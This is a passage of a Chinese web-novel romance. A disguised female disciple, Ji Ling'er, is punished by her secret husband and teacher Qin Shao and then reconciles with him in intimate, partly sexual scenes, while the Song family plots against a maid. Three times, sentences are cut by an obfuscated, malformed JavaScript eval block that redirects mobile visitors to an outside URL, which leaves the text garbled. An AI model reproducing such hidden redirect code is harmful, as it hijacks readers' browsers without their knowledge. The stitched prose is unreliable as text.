听见脚步声，慌张起身拿鞋底蹭掉地上字迹，脸上挤出不自然的笑迎她。 季灵儿走近，目光掠过他鞋底，被未蹭尽的笔画刺痛，“等很久了？” 云衡摇头，嗓音轻得像风：“刚来不久。” 53. 春潮 直到进屋，云衡还忍不住偷瞧她脖颈，那处红痕淡去不少。 季灵儿被他看得浑身不自在，下意识抬手遮住，“你找我为何事？” “我不想同你当陌路人。”云衡声音低缓。 季灵儿抿了抿干涩的唇，半晌才回：“我们总有同门情意在，不会是陌路人的。” 云衡苦笑：“只剩同门情谊了么？” “云衡，我真心拿你当朋友的，最珍视的朋友。”他眼中黯淡太明显，季灵儿终是没敢正眼看，声音亦渐渐低下去，“所以我做不到明知你的情意还装作无事，那样只会更伤你……你能明白吗？” 云衡凝着她掩饰慌乱而拨动桌角的葇荑，怅然吐出两个字：“明白。” 他与她亲密无间，许诺同甘共苦的过往，终究是回不去了。 在此之前，他还有件事想弄明白：“我可以再以朋友的身份再问你一个问题吗？” “嗯。” 云衡紧了紧掌心，鼓起勇气问：“你......喜欢师父吗？” 葇荑倏然顿住，死死扣在桌角上，朱唇翕张未言一词。 没否认，便是默认。 这反应令云衡倒吸一口气，从憋闷的胸腔里挤压疑问：“师父是你义父的说辞也是你骗我的，你同师父在一处了是吗？” “不是......”季灵儿矢口否认，却不自觉随着云衡的目光，再一次抚上脖间红痕，心虚侧身避开。 他们曾是无话不谈的伙伴，默契在此刻成了刺向两人的利刃，一个心如刀绞，一个无地自容。 “可师父有妻室啊。”云衡既痛又怒，“为何你宁可给他人做妾，也不愿接受我的心意？” 她怎会是甘心给人做妾的人？ 云衡话出口便懊恼冲动，无措地解释：“我......我没有旁的意思，只是担心你陷得太深受委屈。” “你误会了，”季灵儿无法同他说真相，无力摇摇头，每个字都显得苍白，“总之我同他不是你想象的样子。” 要不说云衡懂她，那句脱口而出的“宁可给他人做妾”一阵见血，无情挑破了季灵儿连日的自欺欺人，坚定提和离时的委屈再度席卷。 是啊，在外人眼中，秦家大少夫人始终是宋家小姐。她竭力为玉秀讨名分，到头来自己却是最没名分的那个。 明明挣完银子就该脚底抹油的，如何走到这一步？ 没等她想明白，先等来了第二个结算日。 云衡队夺得魁首。梁宸趾高气扬到季灵儿跟前炫耀：“看见没？这才叫实力。” 季灵儿厌烦他得意忘形的模样，冷眼侧目，“别以为我不知道你是动用家里关系谈成的，胜之不武有何可得意！” “胜了就是胜了，有本事你也搬关系。” “不屑与鼠辈为伍！” 针尖对麦芒，季灵儿一心同梁衡较量，没在意周遭几位师兄变了脸色。 “小师弟这话难听了，生意场上谁不使些手段，何况托用的是自家关系。” “就是，关系就是资源，有资源不用才是愚蠢。” 附和帮腔梁宸的人渐多，季灵儿挺直脊背：“来之前先生便说了，不许动用家族势力干涉考核，一切全凭自己本事，他就是作弊。” 对方驳：“师父还三令五申禁赌呢，小师弟不照样明知故犯？” 梁宸趁机反咬：“说的不错，非要论也是你联合林师兄提出比拼的法子在先。” 云衡当即上前将季灵儿护在身后，斩钉截铁道：“比拼方式是大家都同意的，休要混淆视听！” 另有几个输了也站同一战线，纷纷声援，两方各执一词，眼瞧争执不下要动起手来。 闹成眼下局面，林起自责初时欠考虑，横身挡在双方之间，劝道：“好了，此事各有错处，闹到师父面前谁都讨不了好，比拼到此为止，日后也不许再偷用家中关系，各退一步揭过罢。” “好生热闹。”正劝着，一道令人脊背发僵的声音响起。 秦劭缓步走近，冷肃眸光扫过全场，不怒自威，“趁着人齐，正好将你们这些日子的表现清算明白。” 弟子们明白躲不过，纷纷垂首噤声。 秦劭：“历练是为磨砺心性品行，而非助长争强好胜之心，我有言在先，不许动用其他关系，违者严惩，犯了规矩的自觉些站出来。” 梁宸和几名弟子偷偷换了眼神，硬着头皮上前，参差不齐道：“弟子知错。” “成绩作废，罚二十板，可有异议？” “弟子认罚。” 梁宸不服气，小声抗议：“季凌设赌局在先，师父不能偏私只罚我们。” 秦劭无声看向季灵儿，端的是洞悉一切的沉静。 季灵儿狠狠剜梁宸一眼，抬眼撞进他眼底。 两日来反复浮现在脑海的面孔真切出现在眼前，没了情动时的温柔，恢复雪松般的清冷凛冽，叫她一时发怔。 秦劭眸色未动，淡淡道：“知错吗？” 季灵儿狡辩：“我设法子激励懈怠的师兄们奋进，并非娱乐作赌，算不得犯规矩。” 梁宸只怕师父偏私，抢先嚷道：“赌就是赌，任你说的天花烂坠也是撺掇大家伙赌，我们都认罚，你别敢做不敢认！” 说完卖乖地朝秦劭一揖，“季凌犯错还巧言令色不认，请师父明裁。” 林起挺身而出：“师父，是弟子拿的主意，弟子未能以身作则带好师弟们，请师父责罚。” 季灵儿凭梁宸如何叫嚣一直默不作声看秦劭，私心里相知道他会如何处置，听得林起替自己揽责，再耐不住，猛地踏前一步，道：“不必林师兄替我担责，主意是我出，我认罚。” 同样的一张脸，面对同样的问句，几日前他会含笑回她，语气尽是令人面红耳赤的宠溺，此刻却平静无半分波澜，清冷开口：“林起和季凌，各罚二十。” 他怎能做到人前人后两副面孔？ 季灵儿犟脾气上来，小脸一扬同他叫板：“我一人做事一人当，林师兄无过，没道理一同受罚。” “身为师兄，知此法不妥却不加劝诫，就是错。” “您强词夺理，枉为人师！” 季灵儿从前犯错虽多，却不敢如此冲先生吼叫，在场弟子皆被她这石破天惊的喝声惊住，空气一瞬凝滞。 梁宸惊得咽了口唾沫。 林起赶忙上前拉她袖子，“小师弟，不可对师父无礼。” 秦劭对待弟子向来公正严明，犯错的有一个算一个，全挨了罚。 戒尺落在季灵儿掌心，她倔强昂着脑袋， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543024|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬紧牙关不吭一声，只恨恨盯他。这些天的委屈全化作灼热的泪花，大方蓄在眼底在给他看。 秦劭几不可闻地轻叹，拿左手托住她手背，掌心收紧，右手却控着戒尺下落的力道，看着与寻常无异，真正落在她掌心的只剩三分。 还有几下落在他趁人不备垫进去的指节上。 饶是如此，小姑娘手心红了一大片，烫着他偷偷放上面的拇指。 二十下结束，季灵儿欲抽回手，却被捏的动弹不得，众目睽睽之下，她紧张地心蹦到嗓子眼。 秦劭只当忘了松手，面不改色提点弟子们几句。 人群渐远，空地上仅剩二人。 他没松开，用空出的手从袖中取出一瓶药膏，作势替她涂抹。 “用不着。”季灵儿嘴上逞强，手却乖乖由他握着，看他微微躬身，边涂药边轻轻呵气。 似有所察，秦劭抬眼看她，“疼吗？” 就这么一句比鼻息还轻的问，催得她眼泪夺眶而出，赌气道：“你打的时候不知道我会疼吗？” 秦劭不答，指腹打着转，将药膏细细揉进肌肤里，涂药的动作渐渐变了意味，是安抚，是无声的赔罪。 就在这随时可能有人折返的空地上。 季灵儿再度抽手：“好了，该有人瞧见了。” 秦劭反将掌心相贴握紧，“瞧见如何？” “瞧见便要费心解释我们的关系。” “不必解释。”他说。 音量不高，但字字笃定，将季灵儿砸愣了，圆眸茫然望他。 秦劭挑眉笑起来：“我从未想过遮掩，是你胆子小。” 日光斜斜铺洒，束发的镶金墨玉冠在光下泛着冷泽，可再惹眼的金玉辉光也抵不过此刻流淌在漆眸的暧昧。盘踞在季灵儿身体里的委屈由酸胀化作酥麻，先于她的意识读懂它。 那是封冻冰面下暗涌的春潮，唯有她看得见，也唯有她，体会过春潮澎湃时的热烈。 季灵儿踮起脚尖，吻向他的唇，这一吻，是为了证明自己胆子不小，亦是一场豪赌。 没人看见正好，被人撞破正巧揭开一切，她便向秦劭坦白一切，再不受困囿。 秦劭先是一愣，旋即掌心抚上她后颈，将莽撞而炽热的勇气尽数接住，和金灿灿的日光一同卷进缠绵的深吻里。 一刻钟后，门窗漏风的小破屋子里，季灵儿又一次不受控地沉溺进春潮。 她扭捏乱动，身下陈旧木桌吱呀吱呀晃响，边缘被忽略的蜜罐孤独滚落，瓷瓶碎进百花蜜里。 季灵儿偏头看去，一滩晶莹的蜜，顺着地缝蜿蜒，宛若一条微小的河。 竟......与她光景相似。 只不过她的更滚烫，更湍急，涓滴不漏入了那张会哄人的嘴。 见她失神良久，会哄人的嘴似有不满，随着它主人倾轧的节奏加深，逼她收回注意。 “你别。” 刚一张口便有羞人的声音溢出，她慌忙咬住下唇，推他的肩，用动作表示拒绝。 秦劭直起身，勾笑道：“胆子全用来当众挑衅我了？” 笑意淬了火，烧得季灵儿浑身发软，瞪他的眼神融成蜜，丝毫没有威慑力，“这房子隔不住声音......” “不是不怕吗？” 54. 殊遇 一枚吻痕已教她在人前不自在，羞人的声音若被听去，她没法再见人了。 她怕的几乎哭出来，可真当秦劭迟迟不动作，又犯瘾地渴望，按在他肩头的手不自觉收紧，揪皱光滑的锦缎。 他半跪在她身前，发冠在方才的纠缠中被她揉得凌乱，唇畔和鼻尖黏着湿痕，除此之外，无任何不整，与狼狈又赤裸的自己形成鲜明对照。 她本该觉得羞耻，可望见他眼睛的柔光，觉得自己如珍宝一般被他供奉高台，不由生出几分骄矜。 不安到底敌不过贪欲，缓缓松开手，别过脸轻唤一声夫君。 小姑娘有所求时最是嘴甜，秦劭听懂这声邀请，低笑出声。 满足她前，体贴地安抚了她的不安：“放心，不会有人靠近。” ... 秦劭一心为哄人，加之村中条件不便，照顾她发泄几次，没往实质进行。 季灵儿软成一团棉窝在被衾里，露着半张染霞的脸，轻声问：“你难受吗？” 秦劭正拿巾布清理桌上残痕，闻言递过一个真诚的眼神，道：“不是为我当众打你怄气么，这当是罚我的，供你消消气。” 满心委屈在方才已熨平大半，再听他如此说反倒生出愧疚，嗫嚅道：“谁要你罚......我又没生气。” “但你哭了。”他说。 秦劭仔细回忆过，他与她的初见，她跪在冰天雪地里哀求，没掉落一滴泪。入学堂第一年，受罚挨打也没哭过。唯独嫁给他以后，痛快哭过好几回。 抛除欢.爱不算，一次为季璇，一次为他受审，剩下便是前几日提和离和今日挨打。 小姑娘不是个爱哭的，这两次接连落泪，定是委屈极了。 秦劭的教养，立场，刻在骨血里的规矩，不允他不分情状偏袒。偏偏她想要的，是不问缘由与她同仇敌忾。 他鲜少面对一件事如此无措，只能尽力哄她，用最笨拙的方式提醒自己铭记教训。 季灵儿鼻头泛起酸涩，埋头蹭干泪意，默默整理心头灼烧的情绪，耳边断续传来秦劭收拾碎裂蜜罐的动静。 罐子碎了，蜜却黏进她心里。 她重新探出脑袋，趁他背对自己，壮起胆子问：“你会一直对我好吗？无论......什么情况。” 等待回答的几个呼吸里，她极快速鼓励自己，倘若秦劭追问，便把身份坦诚相告。 “会。”他点了头，朝她温柔笑笑，却只问一句：“嗓子哑成这样，要喝水吗？” ... 接下来的日子，弟子们老老实实卖货，不敢再投机取巧，季灵儿也格外乖巧，而且心情愉悦看东西比往常顺眼，连见梁宸都端着笑客气喊一声“梁师兄。” 起初是顺口，发现他表情精彩变幻后觉出乐趣，故意装样给他添堵。 “梁师兄早。” “梁师兄要不要帮忙？” “梁师兄你眼睛不舒服吗？” 梁宸五官拧成一团，不可置信道：“你脑子被驴踢坏了？” 季灵儿：“我买的驴子脾气好着呢。” 梁宸扯了扯嘴角肌肉，笃定她不是脑子坏了，就是脑子里憋着坏主意，碍于师父来的频繁，考核末期任务又重，他不给自己找麻烦，再见到她绕着走。 薄云笼皓月，翦翦轻风寒。 秦劭照旧在秦禄屋前下马车，独自踏着月色信步到季灵儿住处，抬手欲叩，门先从内拉开，穿着牙色中衣，乌发自然披散肩头的人儿直直闯入眼帘。 眼角自然弯起笑意，“知道是我？” “在窗口看见你了。”季灵儿莞尔，侧身让出一线，月光先于他洒进来，在土砖上铺开一片清辉。 他踩着清辉步入，衣袂拂过，带起微凉的松香。 “在等我？” “恰好看见，”季灵儿仓促回道，反手去关门。 前次走前他说过今晚回来，她便醒着等，分明是极自然的一件事，两人心绪却为此生出微漾。 一个心虚不敢对视，一个贪恋地凝着对方因躲闪送上的侧脸。 被盯得喉咙发紧，季灵儿转身去炉子上取温着的茶汤，是为秦劭备的，此时却羞于递出。 递出去，不更说明她眼巴巴等着他来？未免太殷切。 “因为我方才在煮水，”她补充一句，低头吹了吹茶汤，假作一副自己口渴要喝的模样。 “正巧，我有些渴。”秦劭的声音钻入耳中，能听出含着笑意。 “那，那你先喝。”季灵儿顺势将陶碗递出。 碗中波澜小幅度荡涤，擦着她按在碗沿的指腹滑过，下一瞬，陶碗已稳妥落入秦劭掌心，吞咽的动作牵动颈线，露出上下滚动的喉结。 季灵儿莫名联想起他咽花蜜的模样，脸颊发烫地转过身，手忙脚乱又倒一碗。 这次是真的口渴。 与此同时，离屋子不远的月色下，站着一位用力揉眼睛的弟子。 曹知祥白日喝多了冷水，闹肚子起夜，初见远处人影像师父下意识借房屋遮掩，意识到无甚可躲，挺直腰板欲上前见礼，却眼睁睁看见对方入了房门。 认出是小师弟的屋子，僵在原地许久，“撞邪了？” 好奇心驱使，他屏息凝神欲靠近，方迈出几步，不知从何处飞来一物，不偏不倚砸在他脚尖，低头看，是一颗裹着泥的石子。 环顾四方，夜色寂静，连个鬼影都没有。 曹知祥满身汗毛倒竖，拔腿往回走。 翌日季灵儿又顶着一双乌眼圈出门，曹知祥越想越不对劲，路上忍不住凑到她身旁，问：“小师弟昨夜没睡好？” “师兄为何如此问？” 曹知祥指了指她眼下位置。 季灵儿干笑道：“夜里风大，睡不实。” “可——”曹知祥压低声音，“我看见师父进了你屋。” 季灵儿“咯噔”一下顿住，装傻道：“师兄看错了吧。” “绝对没错。” 他语气太笃定，季灵儿不知他看见多少，支支吾吾难作答。 昨夜二人虽未过分亲热，但喝完茶耳鬓厮磨了片刻，又拥着一路吻到榻上，期间难保有不入耳的声响传出...... 会被听见吗？ “你脸红什么？”曹知祥更坚定猜测。 “我.....” 素日的机灵被杂乱心思堵在喉间，季灵儿想过顺其自然坦白，想过拿“义父”做挡箭牌，到嘴边全咽了回去。 最终道：“先生找我问事情。” “什么事情非得三更半夜问，”曹知祥挑眉，显然不信她。 就在季灵儿慌张之际，听他无比自信质问：“说实话，师父是不是偷偷给你提供殊遇？” 季灵儿：...... 看来是没听见更多。 紧绷的弦松弛，季灵儿迅速端出委屈形态道：“我不如各位师兄入学早，先生恐我出去辱没他名声，因而私下多费心指点，白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551366|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日没时间，又怕被师兄们知晓平生非议，只得选在夜里，所以——” 季灵儿双手抱拳作揖，“此事还请师兄帮忙保密。” 见被自己料中，曹知祥神色颇有得意，拍着胸脯让她放心。 这段插曲似突袭晴空的暴风雨，冲破了秦劭用温情为她撑起的暖棚，逼迫她再次直视自欺欺人的现实。 并非无从解释，是不敢解释。 她没有无耻到占着别人的东西还大大方方炫耀，也没有攒足承担坦白后果的勇气。 当夜一反常态地把秦劭往门外推：“你以后别再来了，村里总有旁的地方可住。” 秦劭后背抵在门板上，被凸起的门栓硌得生疼，茫然折眉，“为何？” “昨夜你来被曹师兄瞧见了，他今日还跑来问我。” 白日秦劭听隐在暗处的随从禀报过，了然曹知祥未窥见丝毫，对此并不紧张，只问她：“你如何说？” “好在他误会是你私下教导我，否则真解释不明白。” 秦劭点头：“倒也没说错。” “嗯？” “我没教导你吗？” “教导......什么？” 秦劭目光下沉，跟着低头噙住微张的檀口，唇齿相碾，季灵儿呼吸凝滞片刻，便熟练地回应着他的深入。 直到两人分离，她指尖还勾着他的衣襟下摆，后知后觉明白他话里调情意味，脸颊“轰”一下烧起来。 “你，你不正经。” 秦劭笑笑，坦然接受她的评价，说回正经：“灵儿，我还是那话，无需解释。” 季灵儿不买账：“师兄们不敢问到你跟前，你纯粹站着说话不腰疼。” 秦劭：“只要你愿意，我去挑明和解释，不必你为难。” “我不愿意。” “为何？” 季灵儿后退一步，捏紧袖口道：“眼下不是说这事的时候，等这次历练结束吧。” 她再次下决心，待结束把一切说清楚。 “好，我等你。” 月光洒进来的同时，带进一阵凉风，吹得她发丝凌乱，抬眸看秦劭的视线受阻，待拨开眼前发丝，门已阖上，空余一隙夜色。 她的心像跟着空下去。 ... 宋府。 宋燚风风火火冲进门，在母亲屋里寻到妹妹，只手端起桌上凉茶饮尽，母女两人的目光齐刷刷投过来。 王氏：“何事如此急色？” 宋燚拍下茶盏，粗声道：“我托人打听替妹妹的野丫头底细，想看有何软出可拿来利用，你们猜查到什么？” 没头没脑的自难猜到，宋芮宁听与季灵儿有关，匆忙追问：“哥哥快说罢，别卖关子了。” “那丫头与秦劭早就相识！”宋燚眼中闪过讥诮，“不止相识，听说几年前那丫头险些死在汇通票号门前，就是秦劭亲自救下的。” 宋芮宁惊得站起来：“怎么可能？” “千真万确，我打探到那丫头早年在汇通票号做过学徒，重金买通里头伙计证实了此事，伙计亲口说的，还说此事十分私密，当年秦劭同他们东家密谈，他也是十分偶然听见秦劭同东家谈条件，说是换一件对那丫头极重要的东西。” 宋芮宁怔地说不出话。 王氏纳罕：“世间竟有如此巧合？” “未免太巧了吧，怕不是有人蓄谋已久，”宋燚不信这些，转头问妹妹：“你到底从哪找来这丫头的？” 55. 归家 宋芮宁心头疑云密布。 彼时她一心与情郎厮守，月下盟誓犹在耳畔，家里却替她与秦家议了亲。 会情郎回来，在街上偶遇季灵儿为了银钱与人争执，想是个贪财的，又观她样貌周正，因此动了让她替嫁心思。 竟无意引狼入室了么？ 她越想越觉心惊，又觉不大可能，“找替身的主意是我自己拿的，那丫头再鬼精，断无可能提前知晓并设局。” 宋燚：“倘使有内鬼通了外贼呢？” “什么意思？” 宋燚语气愤然：“玉秀贴身跟你，你与那混账幽会她知晓吧，做下人的，规劝主子替主子周全乃本分，可她倒好，非但不劝，反助你隐瞒，哪个知是不是生了私心串联外人！我的人可打听到了，她自陪着进秦府，没少给家里补贴银子，可见落下不少好处，说不好就是从这桩事里赚的！” 他心疼妹妹没少为此事奔波，得来的消息一通比一通气人，此刻已笃定妹妹的不幸皆因那贱婢从中作梗，更有外人早算准了这条路，一步步诱妹妹入局！ 宋芮宁摇头：“玉秀打小跟着我，是个忠厚的，应不会——” “哼！你就是太轻信旁人！”宋燚打断她，“让玉秀去秦家带信，多少日了，连个屁响都不闻，依我看，她胳膊肘早拐到别家了。” 怀疑的种子种下，宋芮宁再回想近两次见玉秀的神色，的确觉出蹊跷：回话时多有闪躲飘忽，全不似从前清澈坦荡。 宋燚自以为洞悉一切，喋喋不休：“私奔之事连我都是后来才知，且你在他家中受辱，我带你回来后将知情的一并打死了，如今外头竟还有人嚼舌根，何处漏出去的风声还用想吗？” 私奔后的遭遇深深扎在宋芮宁心里的刀子，提一次，想一次，刀子便往血肉狠剜一分。 她承受不住，指尖掐入掌心止不住浑身颤栗。 “燚儿!”王氏从震撼中回神，急忙制止，边扶女儿落座边给儿子使眼色。 “哥说错话了，”宋燚惊觉失言，在嘴上扇了一巴掌，“总之你别再轻信旁人，哥保证替你把受的委屈全讨回来！” 宋芮宁瘫在椅中，面上血色褪尽，越想心越沉，她因一时任性受尽磋磨，原是怨无可怨，空恨情郎薄情，辜负她至此，然而对他的恨交织着倾尽心血的爱意，如陷荆棘丛，带刺的藤蔓缠绕心肺，挣不脱，斩不断。 宋燚的话成了斩断荆棘的快刀，痛一瞬，很快寻到求生豁口。 她受伤至此，怎会无人可怨呢？若当初有人劝着她些，兴许就不会沦落到这般田地。若一切因算计而起，便不是她自作孽，不是活该受此报应...... 于是，悲怆与愤恨，尽数记在了唯一知情的玉秀身上。 ... 秦勉迟迟不露面，实因被祖母下令禁足于院中。 老夫人从秦劭处确认上香之日偶遇的女子是宋芮宁后，心有不安，恐秦勉的荒唐性子再生事端，祸害一个丫鬟尚可遮掩，再跟宋家小姐纠缠出风闻，秦家百年清誉都得毁他手里。索性命人锁了他院子各道门，严加看管。 三夫人不知宋芮宁这层，以为老夫人偏帮大房，要逼她儿子抬丫鬟做正室，日日愁的吃不下睡不好，频频往老夫人跟前求情，求着处置玉秀，又求着尽快给秦勉议亲，泪眼婆娑道：“他再不济也是您亲孙儿，您不能真让她为个丫鬟毁了前程呐！” 老夫人起初还苦口婆心劝她：“你是他亲娘，该更了解他脾性，眼下给他议亲他未必肯应，勉强娶了妻子再冷落苛待，是结亲还是结怨？” 三夫人却说：“宗勉同我说了，他有一心仪的良家女子，先前同您禀过的，咱早些向那家提亲，他得了欢喜的人，自然安分了。” 一提此事，老夫人太阳穴搅得疼，叹道：“宗勉打小缠在我膝前，陪我的时候比宗劭多，我没有不疼他的道理，正是为不耽误他才要谨慎考量，你也别心急。” 解铃还须系铃人，老夫人安抚几句把儿媳劝走，当即遣人去召秦劭，让他处理自己房里惹出来的烂摊子。 秦劭遭季灵儿“驱逐”，回来接着挨一顿训斥，黑着脸进了秦勉院子。 秦勉倒是乐得自在，沐浴月光倚在窗下小酌，见他来略有慌乱，撑着几分镇定喊了声大哥。 月光冷冽，照得案上酒壶泛青，秦劭扫一眼杯中清露，吩咐候在门外的阿吉：“命厨房备两碟下酒菜来，炖一道鹌子羹。” 鹌子羹是秦勉最喜爱的一道，此语一出，秦勉不由将身子坐直些。 秦劭敛袍落座，沉静打量眼前的堂弟。 十八岁的少年，眉目稚气尚存，强装出的桀骜在他面前比银辉还单薄，一眼可见眸底怯意。 同季灵儿和云衡差不多的年纪，骄纵出一身玩世不恭的痞气，说来他身为兄长亦有管教不力之责。 秦劭压下素日对他的严厉，缓缓开口：“咱兄弟还未单独对饮过，今日我陪你喝一壶。” 秦勉十几年人生，父亲端着架子极少亲近，母亲溺爱纵容，这位长他十一岁的堂兄虽严苛却待他以诚，因而对他既亲且俱，习惯了冷峻威压，猛然语气温和，反倒惶恐起来，强自笑道：“大哥有话直说吧。” 阿吉已奉了干净杯盏来，秦劭执壶将酒徐徐斟入，又为他添满才问：“祖母命你反思，结果如何了？” 秦勉不动，自嘲般低语：“反思与否有何用，这家里有我能做主的事么？” 秦劭握杯的手微顿，道：“想做主，得先有做主的本事，首要就是有担当，你这般荒唐行事担得起什么？” 秦勉不语，酒液映着月光，晃得眸子发凉，不服气道：“大哥让我改善布庄经营，我已补齐半数亏空，此不算担当么，何必只揪着我私事不休？而且我已说了，会收玉秀做偏房。” “生意上的长进我心里记着，答应把东边所有布庄归你的话也作数，待你及冠之日，我还会再划三成秦家铺子归你名下。” 秦勉盯着他半晌说不出话，以为幻听，“大哥刚喝一盏酒便醉的说胡话了？” 秦劭神色清明，不动声色将杯中酒饮尽，继而道：“我言出必行，但前提是你得立得起来，秦家基业容不得半分儿戏，你若做不成，我随时收回一切。” 秦勉连饮三杯，从上涌的热血中找回理智，“大哥的前提不止于此吧？” 秦劭欣慰于他的敏锐，颔首道：“打消对宋家小姐的念头，明媒正娶玉秀。” “让一个丫鬟当正头娘子，可不合祖宗规矩呐。我答应，祖母和娘，还有秦家族老也不会答应。”秦勉由震惊转为失笑，觉得他比自己还荒唐。 秦劭：“此事不必你操心。” 秦勉不语，兀自转着空盏思量。 秦劭再见宋芮宁后，观其心性，更坚定了不能由她入主秦家后宅的念头，遂道：“我想你应当查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559145|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了宋家小姐为何逃婚。” “是，所以如今她除了嫁我，没有更好的选择。”秦勉笑的轻而薄，半垂的眼睑藏着一丝得意，顿了顿，说：“我答应大哥说的，不过在此之前，要玉秀替我办件事。” ... 三夫人听说秦劭来了，焦急等到他离开，一路碎步奔去探问儿子口风。 秦勉正喝着鹌子羹，慢条斯理同她讲了秦劭的条件，隐去了宋芮宁身份，只说娶玉秀。 三夫人一掌拍在案上，气得声音发抖：“荒唐！我绝不答应！” 玉碗被震得腾空一寸又重重落下，汤汁溅到秦勉脸上，他抬手抹去，无奈看着自家母亲：“娘，是我娶妻不是您娶，您沉稳些罢。” “没良心的狼崽子，我还不是为你操心。”三夫人瞪他，“吃吃吃就知道吃，一点好处就被收买，不知道以为我平日缺你吃的了。” 秦勉故意咽下一大口，道：“三成铺子，我爹手里都没这么多，娘真觉得是一点好处？” 三夫人说的自不是铺子，可秦劭越大方她越憋气：“你姓秦，多少都是应得的，凭什么拿终身大事当条件换。” 秦勉：“您变脸也忒快了，从前拿大哥和大伯母给的好处可都乐呵呵的。” “那是以前，他如此肯为那贱婢谋划，更说明他们不清白......”三夫人想想就觉得恶心，看儿子无动于衷，探身夺去手中的汤匙，狠狠摔在青砖地上，“你听见我说话了吗？” 瓷匙碎成数段，秦勉终于起身挪到母亲身边，揽着她肩膀道：“您真该去写话本子，儿子自己睡的人还能不知她清白不清白？大哥这番谋划才不是为她。” 三夫人蹙眉：“那是什么？” “为大嫂嫂撑腰呗，还能为什么。” ... 春风吹绿山道，杏花初开的时候，管事们带着一众弟子乘马车离开村子，来时个个苦叹，临行前竟生出不舍，频频越过车窗回望，直到送行的村民和村落轮廓融入烟霭。 同坐一车的人们开始闲谈：“听管事说，师父已命人接管了咱们谈下的生意。” “我也听说了，难怪师父把我们送来这历练，都是盘算好的。” “师父行事向来深谋远虑。” 简短感慨后，纷纷畅想起回去后要如何畅快喝一顿，睡一觉，甚至去听曲看戏犒劳自己，越说越兴奋，恨不得插上翅膀飞回去。 季灵儿独自倚在车厢角落出神，思量回去如何面对秦劭，如何坦白一切，丝毫雀跃不起来。 到叠翠园，弟子们各自散去，季灵儿一眼瞧见停在门前的秦家马车，且是秦劭经常用的那辆，阿吉守在车旁，隔着人群朝她行礼示意。 他竟如此正大光明接自己吗？ 身边师兄拍她肩膀唤她回神：“喝酒听曲，小师弟可要同行？” “我......”季灵儿犹豫，目光不自觉又投向朝马车。 “小师弟看什么——欸，那不是师父的马车吗？” “是啊，马车跟前是师父的随从，莫非师父在园中？” “要不向师父问过安再走？” 七嘴八舌的议论声中，季灵儿深吸一口气，道：“日后再同师兄们小聚，我今日有事，先告辞了。” 说罢向众人挽了个笑，提步朝马车走去。 亲眼看她走上师父马车的师兄们面面相觑，神情个顶个的震惊。 56. 挽留 季灵儿下了极大决心，揣着忐忑到跟车前，秦劭并不在里面。 阿吉道：“爷在别院等您。” “别院？” “您去了便知。” 马车绕着叠翠园所倚山峦行了一刻钟，停在一处院落前。 阿吉引她走过曲折回廊，到一处月洞门前停下，示意她独自进去，“少夫人请。” 月洞门那面藤影横斜，仰面可见层叠掩映的碧瓦飞甍，檐角悬着的青铜风铃正和风奏乐，叮当清脆，二楼一排雕花窗敞开，红缬轻纱似身姿曼妙的女子，在大好春光里翩然起舞。 踩着碎石小径深入，越过错落堆叠的假山，豁然见阁楼全貌，楼前粉白杏花连绵成片，如云似雪，倚着青石砖墙蜿蜒舒展。门头挂着松木匾额，飘逸书着“栖云阁”三字。 拾阶推门，入眼却非阔朗厅堂，或寻常楼阁应有的案几摆设，而是以琉璃屏风围成的半阖密室，其中白雾袅袅，赫然一池蒸腾热气的汤泉。 “泉水引自后山，最是温养经络，驱寒解乏。” 秦劭从侧面旋梯下来，绕去掩了门，另一只手端着漆木托盘，上置一壶温酒与两只青瓷酒盏。同她解释过，将托盘轻放于泉畔石几，挨着早备好的精巧点心。 琉璃承接从窗口斜照入内的日光，在氤氲水汽中折射出浅淡虹彩，光晕浮游，笼着他的沉静和从容。 秦劭一袭暮云灰长衫松垮系着，袖口微卷，露出一截苍劲手腕和节骨分明手掌，正不疾不徐地执壶斟酒。 季灵儿静静看他，一颗心轻飘飘的，仿佛正被这双手托着，揉捏磋磨，随着他的动作变换形状，时而舒展时而紧缩，半点由不得自己。 更过分的是，她竟不争气想到了这双手为自己纾解时的情状，误溅在他指尖的酒液成了燎原的火种，她开始想入非非。 前几日因忙碌压下的思念，加倍涌上心头，分明人就在跟前，却怎么都看不够，只怕一眨眼，就化作烟云散去。 看着看着，鼻头酸了，眼角染上薄红。 他终于直起身，弯眸望来：“愣在那里做什么，不饿吗？” 话音未落，季灵儿已小跑扑进他怀里，双臂环着他腰身埋首，闷声道：“想你了。” 秦劭忍笑：“说什么？我没听清。” 季灵儿改攀上他的肩，仰起脸，一字一顿道：“我想你了。” 说完觉得不够，追问：“你呢，想我吗？” “想。”秦劭把渴望全数送进她眼中，抚平小心藏在其中的不安，“很想。” 